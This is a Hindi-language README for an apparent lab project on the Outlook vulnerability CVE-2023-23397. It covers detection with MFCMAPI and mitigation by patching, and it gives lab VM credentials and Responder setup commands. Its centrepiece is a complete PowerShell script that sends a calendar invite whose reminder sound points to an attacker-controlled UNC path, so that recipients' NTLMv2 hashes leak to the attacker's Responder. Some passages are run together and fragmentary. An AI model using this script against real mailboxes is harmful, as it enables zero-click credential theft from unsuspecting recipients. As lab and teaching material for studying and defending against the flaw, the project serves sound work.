
CVE-2023-23397 Outlook Privellege Escalation भेद्यता का प्रदर्शन
यह प्रोजेक्ट CVE-2023-23397 का पता लगाने, शोषण करने और शमन करने का प्रदर्शन करता है, जो Microsoft Outlook for Windows में एक गंभीर ज़ीरो-क्लिक NTLM रिले भेद्यता है। कैलेंडर आमंत्रणों के माध्यम से शोषित होने वाली यह भेद्यता हमलावरों को बिना किसी उपयोगकर्ता इंटरैक्शन के NTLMv2 हैश पर कब्जा करने की अनुमति देती है।
🛡️ CVSS स्कोर: 9.8 (गंभीर)
🖥️ प्रभावित संस्करण: Outlook 2013, 2016, 2019, Microsoft 365 (14 मार्च 2023 पैच से पहले)
Outlook के कैलेंडर रिमाइंडर को PidLidReminderFileParameter MAPI प्रॉपर्टी के माध्यम से कस्टम ध्वनियाँ चलाने के लिए कॉन्फ़िगर किया जा सकता है। Outlook UNC पथों को मान्य नहीं करता है, जिससे रिमाइंडर ट्रिगर होने पर दूरस्थ SMB अनुरोधों की अनुमति मिलती है।
\\attacker-ip\share\sound.wav
यह NTLMv2 हैश को हमलावर-नियंत्रित सर्वरों पर भेजने का कारण बनता है, जिन्हें फिर:
MFCMAPI का उपयोग करके कैलेंडर आइटम्स का निरीक्षण करें और PidLidReminderFileParameter (MAPI टैग 0x851F001F) में दुर्भावनापूर्ण मानों की जाँच करें।
QuickStart > Open Folder > CalendarTable > Set Columns पर जाएँ0x808A001F जोड़ें14 मार्च 2023 पैच स्थापित करें (जैसे, KB5002044)। पैच निम्नलिखित प्रस्तुत करता है:
IsFileZoneLocalIntranetOrTrusted() रिमाइंडर फ़ाइल पथ को मान्य करने के लिएपरीक्षण परिणाम:
Outlook इवेंट ID 1008 लॉग करेगा और अविश्वसनीय SMB पथों तक पहुँच को अवरुद्ध करेगा।
192.168.1.0/24)📂 पूर्व-निर्मित पॉलिसी: OutlookMitigation.ipsec
| सिस्टम | उपयोगकर्ता नाम | पासवर्ड |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| ईमेल खाता | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
सुनिश्चित करें कि Kali और विक्टिम VM एक ही नेटवर्क पर हैं।
इंस्टॉल करें:
सेटअप करें:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder विक्टिम सिस्टम से NTLMv2 हैश कैप्चर करेगा।
PidLidReminderFileParameter में UNC पथ होने की पुष्टि करने के लिए MFCMAPI का उपयोग करें।